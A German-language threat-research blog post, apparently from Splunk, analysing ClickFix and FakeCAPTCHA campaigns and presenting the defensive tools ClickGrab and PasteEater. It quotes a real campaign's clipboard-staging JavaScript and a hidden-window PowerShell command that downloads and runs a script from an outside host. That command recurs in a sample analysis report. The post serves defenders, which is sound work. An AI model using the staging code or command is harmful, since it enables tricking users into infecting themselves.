Nach dem Klick: Aufspüren gefälschter CAPTCHA-Kampagnen

Social-Engineering-Angriffe gehören nach wie vor zu den effektivsten Methoden, Malware zu verbreiten und Systeme zu kompromittieren. Bei dieser Art von Angriffen gibt es einen neuen, besorgniserregenden Trend, der schnell um sich greift: so genannte „ClickFix“- und „FakeCAPTCHA“-Kampagnen. Diese raffinierten Angriffe nutzen die Vertrautheit der Benutzer mit alltäglichen Verifikationssystemen aus und setzen Techniken zur Manipulation der Zwischenablage ein, um böswillige Nutzlasten zu verteilen – und sind dafür auf keine einzige technische Schwachstelle angewiesen.

Diese Kampagnen wurden erstmals Anfang 2024 beobachtet und haben 2025 dramatisch zugenommen. Dabei haben sie sich diese von einfachen kriminellen Operationen zu ausgefeilten Angriffstechniken entwickelt, die mittlerweile auch von nationalstaatlichen Akteuren eingesetzt werden. Was diese Angriffe besonders besorgniserregend macht, ist die Tatsache, dass sie sehr effektiv sind, obwohl sie ja doch eine erhebliche Interaktion seitens der Benutzer erfordern. Wenn die Mechanismen hinter diesen Kampagnen klar sind, können Sicherheitsteams Strategien entwickeln, um sie zu erkennen und zu verhindern, bevor sie Systeme kompromittieren.

In diesem Blog sehen wir uns den Aufbau von ClickFix- und FakeCAPTCHA-Kampagnen genauer an, untersuchen konkrete Codebeispiele aus der Praxis, verfolgen ihre Entwicklung und bieten praktische Verteidigungsstrategien. Außerdem stellen wir ein spezielles Tool namens „ClickGrab“ vor, das dem Abwehrteam hilft, diese Bedrohungen zu analysieren und verwertbare Informationen zu gewinnen, um ihre Sicherheitslage gegen diese betrügerischen Kampagnen zu stärken. Darüber hinaus behandeln wir eine Methode, mit der sich mit „PasteEater“ Elemente abfangen lassen, die in die Windows-Zwischenablage kopiert wurden.

Der Aufbau von ClickFix- und FakeCAPTCHA-Kampagnen

Im Kern gehören diese Angriffe zur hohen Schule des Social-Engineering. Im Gegensatz zu herkömmlichen Malware-Verbreitungsmechanismen, die Schwachstellen von Software ausnutzen, setzen ClickFix- und FakeCAPTCHA-Kampagnen vollständig auf die Manipulation des Benutzerverhaltens.

So funktionieren diese Angriffe:

1. Erster Zugriff: Opfer landen über verschiedene Vektoren auf böswilligen Websites, wie etwa Phishing-E-Mails, Malvertising, kompromittierte legitime Websites oder Suchergebnisse zu raubkopierter Software und Medien.
   
   
2. Täuschende Schnittstelle: Die Website zeigt eine scheinbar standardmäßige CAPTCHA-Verifizierungsschnittstelle mit bekanntem Branding von Google reCAPTCHA oder Cloudflare. Diese sorgfältig ausgearbeitete Schein-Legitimität ist der Schüssel zum Erfolg des Angriffs.
   
   
3. Clipboard-Hijacking: Interagieren Benutzer mit dem gefälschten CAPTCHA (meist durch Klicken auf ein Kontrollkästchen oder eine Schaltfläche mit der Beschriftung „Ich bin kein Roboter“), kopiert bösartiges JavaScript unbemerkt Befehle in ihre Zwischenablage.
   
   
4. Social Engineering: Den Benutzern werden dann Anweisungen angezeigt, in denen behauptet wird, sie müssten zusätzliche Verifizierungsschritte durchführen, wie etwa die Tasten Windows+R und dann Strg+V drücken.
   
   
5. Selbstinfektion: Befolgen Benutzer diese Anweisungen, fügen sie unwissentlich die bösartigen Befehle aus ihrer Zwischenablage ein, führen sie aus und infizieren so ihre eigenen Systeme.
   
   
6. Payload-Einschleusung: Bei der Befehlsausführung wird in der Regel zusätzliche Malware heruntergeladen und ausgeführt. Oftmals werden dazu PowerShell-Skripte verwendet, die in versteckten Fenstern ausgeführt werden, um der Erkennung zu entgehen.
   

Die psychologischen Komponenten

Was diese Angriffe so außerordentlich effektiv macht, ist ihre psychologische Manipulation:

• Vertrautheit: Die Schnittstellen ahmen vertrauenswürdige Verifizierungssysteme nach, mit denen wir täglich zu tun haben.
• Glaubwürdigkeit: Die Fehlermeldungen stammen meist von scheinbar legitimen Quellen.
• Dringlichkeit: Die Meldungen geben das Gefühl, dass etwas sofort behoben werden muss.
• Klare Anweisungen: Schritt-für-Schritt-Anleitungen machen es den Opfern leicht, den Anweisungen zu folgen.
• Minimale Hemmschwelle: Der Angriff erfordert nur wenige gängige Tastenanschläge.

(FakeCAPTCHA-Beispiel, Splunk 2025)

(FakeCAPTCHA „Verify you are a human“, Splunk 2025)

Untersuchen eines konkreten Codebeispiels aus der Praxis

Sehen wir uns ein konkretes Code-Snippet aus einer FakeCAPTCHA-Kampagne an, die wir analysiert haben:

function stageClipboard(commandToRun, verification_id) {
    const suffix = " # "
    const ploy = "✅ ''I am not a robot - reCAPTCHA Verification Hash: "
    const end = "''"
    const textToCopy = commandToRun + suffix + ploy + verification_id + end
 
    setClipboardCopyData(textToCopy);
}
 
// Later in the code:
const htaPath = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\"";
const commandToRun = "powershell " + htaPath;
stageClipboard(commandToRun, verification_id);

Diese Codestruktur zeigt, wie hinterlistig diese Angriffe sind. Klickt ein Benutzer auf die Verifizierungsschaltfläche, wird die Funktion stageClipboard ausgeführt. Diese schreibt einen PowerShell-Befehl in die Zwischenablage, auf den eine scheinbar legitime Verifizierungsmeldung folgt.

Der eigentliche Befehlsteil (powershell -w hidden -c "iwr 'https://example.com/malicious.ps1' | iex") bewirkt Folgendes:

1. Ausführen von PowerShell in einem versteckten Fenster (-w hidden)
2. Herunterladen einer zweiten Nutzlast von einem Remote-Server mit Invoke-WebRequest (abgekürzt als iwr)
3. Ausführen dieser Payload direkt im Speicher mithilfe von Invoke-Expression (abgekürzt als iex)

Wenn die Opfer dies in ihre Befehlszeile oder ihr Dialogfeld „Ausführen“ einfügen, sehen sie nur den harmlos aussehenden Teil: ✅ ''I am not a robot - reCAPTCHA Verification Hash: 328459'', während der schädliche Befehl stillschweigend im Hintergrund ausgeführt wird.

Gemeinsamkeiten: Muster bei FakeCAPTCHA-Kampagnen

Durch umfangreiche Analysen von ClickFix- und FakeCAPTCHA-Kampagnen mit unserem ClickGrab-Tool haben wir einheitliche Muster identifiziert, die den Aufbau dieser Angriffe offenlegen. Diese Gemeinsamkeiten helfen bei der Abwehr nicht nur, bösartige Websites zu erkennen, sondern liefern auch wertvolle Einblicke in die operativen Methoden der Bedrohungsakteure, die dahinter stecken.

Verweise auf externe Domänen

Unsere Analyse der jüngsten Kampagnen zeigt wiederholte Verweise auf bestimmte Domänen, die helfen, den Anschein von Legitimität zu erwecken:

Diese legitimen Ressourcen werden absichtlich mit bösartigen Komponenten gemischt, um eine überzeugende Benutzererfahrung zu schaffen.

Charakteristische visuelle Elemente

Fast alle FakeCAPTCHA-Kampagnen weisen gemeinsame visuelle Schlüsselelemente auf:

1. Google reCAPTCHA-Logo:
   • Die Bild-URL https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png taucht durchgängig in allen Kampagnen auf.
   • Dieses vertraute Branding schafft sofort Vertrauen beim Benutzer.
2. Schriftartressourcen:
   • Font Awesome CSS-Dateien aus CDNs werden geladen, um professionell aussehende UI-Komponenten zu erstellen.
   • Diese legitimen Ressourcen helfen, Sicherheitsfilter zu umgehen, die rein bösartige Inhalte eventuell blockieren würden.
3. Links zu Datenschutzrichtlinien:
   • Links zu den Datenschutzrichtlinien und Nutzungsbedingungen von Google bieten eine zusätzliche Ebene der Schein-Legitimität.
   • Diese nicht funktionierenden Links dienen rein kosmetischen Zwecken, tragen jedoch effektiv dazu bei, die Fassade aufrechtzuerhalten.

Muster in der HTML-Struktur

Die HTML-Struktur dieser gefälschten Verifizierungssysteme folgt überraschend einheitlichen Mustern:

html

<div class="recaptcha-box">
    <h2>Verify You Are Human</h2>
    <p>Please verify that you are a human to continue.</p>
    <div class="container m-p">    
        <div id="checkbox-window" class="checkbox-window m-p block">
            <div class="checkbox-container m-p">
                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
            </div>

Diese Struktur ist bewusst so konzipiert, dass sie legitime CAPTCHA-Implementierungen nachahmt, während sie die bösartigen JavaScript-Operationen verbirgt, die bei der Benutzerinteraktion mit den Elementen ausgeführt werden.

Manipulation der Zwischenablage mit JavaScript

Der Kern des Angriffs liegt im JavaScript-Code, der die Zwischenablage manipuliert. Unsere Analyse zeigt, dass die meisten böswilligen Kampagnen die Funktion document.execCommand("copy") verwenden, um die Zwischenablage der Benutzer zu kapern. Diese JavaScript-Funktion erfordert nur minimale Berechtigungen, eröffnet jedoch beträchtliche Angriffsmöglichkeiten.

Ein wiederkehrendes Muster ist die Verwendung temporärer textarea-Elemente für das Staging schädlicher Inhalte, bevor sie in die Zwischenablage kopiert werden:

1. Erstellen eines versteckten textarea-Elements
2. Füllen des Elements mit schädlichen PowerShell-Befehlen
3. Markieren des Inhalts des textarea-Elements
4. Ausführen des Kopierbefehls
5. Entfernen des temporären Elements aus dem DOM

Die Funktion „stageClipboard“

Das vielleicht auffälligste Merkmal dieser Kampagnen ist die wiederkehrende stageClipboard-Funktion, die wir in zwölf verschiedenen Kampagnen mit bemerkenswert ähnlichen Implementierungen gefunden haben:

javascript

function stageClipboard(commandToRun, verification_id) {
    const suffix = " # ";
    const ploy = "✅ ''I am not a robot - reCAPTCHA Verification Hash: ";
    const end = "''";
    const textToCopy = commandToRun + suffix + ploy + verification_id + end;
 
    setClipboardCopyData(textToCopy);
}

Diese Funktion kombiniert den böswilligen Befehl mit harmlos wirkendem Verifizierungstext, sodass die Opfer nur die Verifizierungsnachricht bemerken, wenn sie den Inhalt der Zwischenablage einfügen.

Muster bei PowerShell-Befehlen

Auch die bösartigen PowerShell-Befehle folgen bestimmten Mustern:

1. Ausführung in versteckten Fenstern: Bei fast allen Kampagnen wird der Parameter -w hidden verwendet, um zu verhindern, dass PowerShell-Fenster während der Ausführung angezeigt werden.
2. Webbasierte Payload-Einschleusung: Befehle verwenden üblicherweise Invoke-WebRequest (abgekürzt zu iwr) für den Download von Payloads der zweiten Stufe.
3. Ausführung im Speicher: Payloads werden mithilfe von Invoke-Expression (abgekürzt zu iex) direkt im Speicher ausgeführt, ohne auf die Festplatte geschrieben zu werden. Dies erschwert die Erkennung zusätzlich.

So sieht eine typische Befehlsstruktur aus:

powershell

powershell -w hidden -c "iwr 'https://[malicious-domain]/[path].ps1' | iex"

Die Payloads: Was passiert nach einer Infektion?

Das Clipboard-Hijacking zu Anfang ist nur der erste Schritt. Wenn sie einmal ausgeführt wurden, verteilen diese Angriffe üblicherweise verschiedene Arten von Malware:

Infostealer

Bei den Nutzlasten handelt es sich häufig um Datendiebstahl-Malware (Infostealer), die sensible Browserdaten wie den Browserverlauf, gespeicherte Passwörter, Cookies und Autofill-Informationen abgreift. Diese Schadprogramme zielen auf bestimmte Verzeichnisse ab, in denen Browser Benutzerdaten speichern, greifen auf Dateien zu und entschlüsseln sie, um sich unbefugten Zugriff auf persönliche Informationen und Anmeldedaten zu verschaffen.

Gängige Infostealer-Programme sind:

• Lumma Stealer
• Redline Stealer
• Vidar Stealer
• PureLog Stealer

Remote Access-Trojaner (RATs)

RATs wie NetSupport geben Angreifern dauerhaft Zugriff auf kompromittierte Systeme und ermöglichen dadurch kontinuierliche Überwachung, Datendiebstahl und Lateral Movement innerhalb von Netzwerken.

Zu den gängigen RATs, die durch diese Kampagnen verteilt werden, gehören:

• NetSupport RAT
• XWorm
• AsyncRAT
• Quasar RAT

Mehrstufige Payloads

Bei vielen Kampagnen werden so genannte „Dropper“ verteilt, die dann mehrere Malware-Familien auf einem einzigen System installieren:

1. Ausführung des anfänglichen PowerShell-Skripts
2. Download der sekundären Nutzlast (oft verschleiert)
3. Installation mehrerer Malware-Varianten

Bei einigen Kampagnen wurde beobachtet, dass nach einer einzigen Erstinfektion bis zu fünf verschiedene Malware-Familien verteilt wurden.

Dürfen wir vorstellen: ClickGrab – das Instrument zur Verteidigung gegen FakeCAPTCHA-Bedrohungen

Um Sicherheitsteams dabei zu unterstützen, diesen sich ständig weiterentwickelnden Bedrohungen einen Schritt voraus zu sein, haben wir ClickGrab entwickelt, ein umfassendes Analysetool, das speziell darauf ausgelegt ist, ClickFix- und FakeCAPTCHA-Kampagnen zu erkennen, zu analysieren und zu verstehen.

(Website mit ClickGrab-Analyse https://mhaggis.github.io/ClickGrab/, Splunk 2025)

Was ist ClickGrab?

ClickGrab ist ein leistungsstarkes, auf Python und PowerShell basierendes Tool, das Sicherheitsforschern und -experten hilft, bösartige Websites zu identifizieren und zu analysieren, die gefälschte CAPTCHA-Verifizierungssysteme für Social-Engineering-Angriffe einsetzen. Es schließt die Lücke zwischen Bedrohungsinformationen und praktischer Abwehr durch folgende Funktionen:

• Automatisierte Erfassung potenzieller Bedrohungs-URLs aus URLhaus
• Tiefgreifende Analyse bösartiger HTML-Inhalte
• Extraktion verwertbarer Kompromittierungsindikatoren (IOCs)
• Detaillierte Berichterstellung für Sicherheitsteams
• Interaktive Visualisierung von Bedrohungsergebnissen

Funktionsweise von ClickGrab

Das Tool arbeitet in zwei Hauptmodi:

1. Browser-Modus (interaktive Analyse mit PowerShell)

Dieser Modus ermöglicht Sicherheitsforschern, sicher mit verdächtigen Websites zu interagieren und gleichzeitig Aktivitäten in der Zwischenablage zu überwachen:

• Gefilterte URLs werden nacheinander im verwendeten Browser (Firefox, Chrome oder Edge) geöffnet.
• Der Inhalt der Zwischenablage wird nach der Interaktion des Benutzers mit gefälschten CAPTCHAs erfasst.
• Es wird dokumentiert, welche Befehle unbemerkt in die Zwischenablage der Opfer kopiert würden.
• In CSV-Berichte werden die Ergebnisse dokumentiert.

2. Analysemodus (automatisierte Erkennung mit PowerShell und Python)

Dieser nicht-interaktive Modus führt Massenanalysen durch, ohne dass dazu Browser-Interaktionen erforderlich sind:

• HTML-Inhalt wird von verdächtigen URLs heruntergeladen.
• Verwendung fortschrittlicher Erkennungsalgorithmen für die Suche nach:
  • Base64-kodierten Zeichenfolgen (mit automatischer Dekodierung)
  • Eingebetteten URLs und verdächtigen IP-Adressen
  • PowerShell-Befehlen und Mustern zum Herunterladen von Skripten
  • JavaScript-Techniken zur Manipulation der Zwischenablage
  • MSHTA-Befehlen und verdächtigen Dateidownloads
  • Gefälschten CAPTCHA-UI-Elementen und Social-Engineering-Indikatoren
  • Verschleiertem JavaScript, das zum Verbergen bösartiger Aktivitäten verwendet wird

Komplexe Erkennungsmöglichkeiten

ClickGrab beinhaltet ausgefeilte Erkennungstechniken, um selbst gut versteckte Bedrohungen aufzuspüren:

• Erweiterte Befehlserkennung: Identifiziert Base64-codierte Befehle und verschleierte Muster
• Verbesserte Base64-Erkennung: Erkennt Aufrufe der JavaScript-Funktion atob() und codierte Inhalte
• Muster gefälschter CAPTCHA-Elemente: Erkennt gängige gefälschte UI-Elemente von Google reCAPTCHA und Cloudflare
• Erkennung von Manipulationen der Zwischenablage: Identifiziert verdächtige Vorgänge in der Zwischenablage, die darauf abzielen, bösartige Befehle einzuschleusen
• Indikatoren für Social-Engineering: Erkennt gängige Anweisungen wie „Windows+R drücken“ und gefälschte Sicherheitsmeldungen
• Verschleierte JavaScript-Analyse: Erkennt Variablenverschleierung, verschlüsselte Arrays und dynamische Codeausführung

Die ClickGrab-Analystenschnittstelle

Sicherheitsteams können über mehrere Schnittstellen auf die ClickGrab-Funktionen zugreifen:

1. Befehlszeilenschnittstelle: Für integrierte Sicherheits-Workflows und Automatisierung
   

   # Run in analysis mode, looking for FakeCAPTCHA campaigns
   .\clickgrab.ps1 -Analyze -Tags "FakeCaptcha,ClickFix"
   
   # Limit analysis to 5 URLs and include older campaigns
   .\clickgrab.ps1 -Analyze -Limit 5 -IgnoreDateCheck
   
   # Filter for specific tags with debug output
   .\clickgrab.ps1 -Analyze -Tags "FakeCaptcha" -Debug
   

2. Interaktive Streamlit-Webanwendung: Für die visuelle Untersuchung von Bedrohungen bietet ClickGrab Analyzer eine benutzerfreundliche Oberfläche, die Sicherheitsteams Folgendes ermöglicht:
   
   • Mehrere URLs gleichzeitig analysieren
   • Umfassende Bedrohungszusammenfassungen ansehen
   • Detaillierte Kompromittierungsindikatoren prüfen
   • Gefälschte CAPTCHA-Elemente und verdächtige Schlüsselwörter identifizieren
   • Techniken zur Manipulation der Zwischenablage nachverfolgen
   • Böswillige PowerShell-Befehl erkennen
3. Automatisiertes Reporting: Für kontinuierliche Bedrohungsinformationen
   
   • Nächtliche Analysen über GitHub Actions
   • HTML-Berichte werden über GitHub Pages gehostet
   • Historisches Archiv zur Entwicklung von FakeCAPTCHA-Kampagnen
   • Direktzugriff auf extrahierte Kompromittierungsindikatoren und Beispiele für böswilligen Code

Beispiel für Analyseergebnisse

Wenn ClickGrab eine verdächtige URL analysiert, generiert es einen umfassenden Bericht wie diesen:

{
  "URL": "https://jessespridecharters.com/v/",
  "RawHTML": "...",
  "Base64Strings": [],
  "URLs": [
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png",
    "https://www.google.com/intl/en/policies/privacy/",
    "https://www.google.com/intl/en/policies/terms/",
    "https://yogasitesdev.wpengine.com/2/15.ps1"
  ],
  "PowerShellCommands": [
    "powershell -w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""
  ],
  "IPAddresses": [],
  "ClipboardCommands": [
    "powershell -w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\" # ✅ ''I am not a robot - reCAPTCHA Verification Hash: 328459''"
  ],
  "SuspiciousKeywords": [
    "I am not a robot",
    "Verification Hash",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "document.execCommand(\"copy\")",
    "navigator.clipboard.writeText"
  ],
  "PowerShellDownloads": [
    {
      "FullMatch": "iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex",
      "URL": "https://yogasitesdev.wpengine.com/2/15.ps1",
      "Context": "User clipboard hijacking"
    }
  ],
  "MSHTACommands": []
}

Mithilfe dieser detaillierten Berichte können Sicherheitsteams:

• bösartige Infrastruktur und Befehlsmuster identifizieren
• effektive Erkennungsregeln entwickeln
• bei diesen Kampagnen verwendete Taktiken und Techniken verstehen
• neuen Bedrohungen einen Schritt voraus bleiben

PasteEater

(PasteEater, Splunk 2025)

Es ist extrem wichtig, diese Bedrohungen zu verstehen, doch das Verteidigungsteam benötigt auch praktische Tools zum Schutz der Benutzer. Für diese Herausforderung hat Will Metcalf „PasteEater“ entwickelt: Dies ist eine spezialisierte Windows-Anwendung, die den Inhalt der Zwischenablage aus Browserprozessen abfängt und analysiert, bevor Benutzer potenziell schädliche Befehle ausführen können.

Funktionsweise von PasteEater

PasteEater fungiert als Schutzschicht zwischen browserbasierten Vorgängen in der Zwischenablage und dem Zwischenablagensystem von Windows. Das funktioniert so:

1. Clipboard-Monitoring: Die Anwendung läuft im Hintergrund und überwacht die von Browserprozessen (wie Chrome, Firefox, Edge usw.) initiierten Vorgänge in der Zwischenablage.
2. Inhaltsanalyse: Wenn ein Browserprozess Inhalte in die Zwischenablage kopiert, fängt PasteEater diese Aktion ab und analysiert den Inhalt der Zwischenablage auf potenziell bösartige Muster:
   • PowerShell-Befehle mit Parametern für versteckte Fenster
   • Anweisungen zur Befehlsausführung (iwr | iex-Muster)
   • Base64-kodierte Befehle
   • Verweise auf bekannte böswillige Domänen
   • JavaScript-Muster zur Manipulation der Zwischenablage
3. Benutzerbenachrichtigung: Werden verdächtige Inhalte erkannt, zeigt PasteEater eine Warnmeldung an, die Folgendes enthält:
   • Den Inhalt der Zwischenablage in Rohformat
   • Markierte verdächtige Elemente
   • Details dazu, warum der Inhalt potenziell gefährlich ist
   • Optionen zum Fortfahren, Ändern oder Ablehnen des Zwischenablagevorgangs
4. Entscheidungsunterstützung: Anstatt alle verdächtigen Inhalte automatisch zu blockieren, gibt PasteEater Benutzern die Entscheidungsfreiheit, indem es Folgendes bereitstellt:
   • Klare Erklärungen des Risikos
   • Visuelle Hinweise auf bösartige Elemente
   • Die Möglichkeit, den Inhalt der Zwischenablage vor der Verwendung zu bearbeiten
   • Optionen zum sicheren Einfügen geänderter Inhalte

Schutz vor FakeCAPTCHA-Angriffen

PasteEater ist aus folgenden Gründen besonders effektiv gegen FakeCAPTCHA- und ClickFix-Angriffe:

1. Es unterbricht die Angriffskette: Durch das Abfangen des Zwischenablageinhalts zwischen der bösartigen Website und der Befehlsausführung ermöglicht es, Bedrohungen zu erkennen und einzugreifen.
2. Es deckt versteckte Befehle auf: Wenn eine FakeCAPTCHA-Website versucht, einen PowerShell-Befehl zu verbergen, der dem Verifizierungstext wie („✅ Ich bin kein Roboter“) vorangeht, zeigt PasteEater den vollständigen Inhalt an, damit Benutzer sehen können, was sie tatsächlich einfügen.
3. Es bietet Echtzeitschutz: Im Gegensatz zu herkömmlichen Antivirenprogrammen, die Dateien erst nach dem Download scannen, greift PasteEater genau in dem Moment ein, in dem der Angriff im Gange ist, aber noch bevor die Ausführung erfolgt.

Da die Präventionsbereitschaft bei jeder Organisation unterschiedlich hoch ist, teilen wir die folgende Liste mit Ideen und hoffen, dass eine davon hilft, eure Angriffsfläche zu verringern.

• Implementieren der Windows Defender-Anwendungssteuerung (WDAC) zum Blockieren von LOLBAS-Dienstprogrammen: Erstellt Richtlinien, die die Ausführung häufig missbrauchter „Living Off The Land“-Binärdateien und -Skripte wie MSHTA.exe, hh.exe usw. verhindern.
  
• Aktivieren von PowerShell Constrained Language Mode (CLM) oder User Mode Code Integrity (UMCI): Schränkt die Funktionen von PowerShell ein und verhindert die Ausführung von Schadcode, indem ihr festlegt, welche Befehle und Sprachfunktionen verwendet werden dürfen.
  
• Deaktivieren des Windows-Dialogfelds „Ausführen“ (Win+R): Verhindert, dass Benutzer Inhalte der Zwischenablage einfach ausführen können, indem ihr die Gruppenrichtlinie so konfiguriert, dass das Dialogfeld „Ausführen“ deaktiviert wird.

Splunk-Sicherheitserkennungen

Um Sicherheitsteams bei der Abwehr dieser betrügerischen Kampagnen zu unterstützen, haben wir umfassende Erkennungsinhalte für Splunk entwickelt. Bei unserem Ansatz liegt der Fokus darauf, die charakteristischen Muster und Verhaltensweisen zu identifizieren, die bei FakeCAPTCHA-Angriffen auftreten. Wir haben eine Analytic Story entwickelt, um Unternehmen zu helfen, Inhalte zu diesen Angriffen schnell bereitzustellen.

Erkennung „Windows PowerShell FakeCAPTCHA Clipboard Execution“

Diese Erkennung identifiziert potenzielle FakeCAPTCHA/ClickFix-Kampagnen vom Typ „Clipboard-Hijacking“, indem sie nach der Ausführung von PowerShell-Befehlen mit Parametern für versteckte Fenster und charakteristischen Zeichenfolgen sucht, die mit der gefälschten CAPTCHA-Verifizierung in Zusammenhang stehen. Diese Kampagnen nutzen Social Engineering, um Benutzer zu verleiten, bösartige PowerShell-Befehle aus ihrer Zwischenablage einzufügen, wodurch in der Regel Infostealer oder Remote Access-Trojaner eingeschleust werden.

(Von Splunk Query erkanntes FakeCAPTCHA, Splunk 2025)

Fazit

ClickFix- und FakeCAPTCHA-Kampagnen stellen eine ausgeklügelte Weiterentwicklung von Social-Engineering-Angriffen dar, bei denen technische Täuschung mit menschlicher Psychologie kombiniert wird. Vielleicht erscheinen sie im Vergleich zu komplexen Exploit-Ketten simpel, doch ihre Wirksamkeit liegt darin, dass sie die verwundbarste Komponente jedes Sicherheitssystems ausnutzen: das menschliche Vertrauen.

Durch den Einsatz von Tools wie ClickGrab, PasteEater und anderen nativen Windows-Funktionen können Verteidiger wertvolle Einblicke in diese Bedrohungen gewinnen, Kompromittierungsindikatoren extrahieren und wirksame Gegenmaßnahmen entwickeln. Während wir unsere Abwehrmaßnahmen weiterentwickeln, bleibt der Austausch von Informationen über diese Bedrohungen eines unserer mächtigsten Instrumente.

Bleibt wachsam und denkt daran: Ein legitimes Verifizierungssystem wird niemals dazu auffordern, Befehle zu kopieren und einzufügen oder eine Eingabeaufforderung zu öffnen.

Ressourcen

• URLhaus: https://urlhaus.abuse.ch/ – zum Verfolgen bösartiger URLs
• GitHub Repository: https://github.com/mhaggis/clickgrab – das offizielle Repository für das Tool ClickGrab
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1204/001/ – User Execution: Malicious Link (Benutzerausführung: Bösartiger Link)
• Proofpoint-Studie: https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
• ReliaQuest-Analyse: https://reliaquest.com/blog/using-captcha-for-compromise/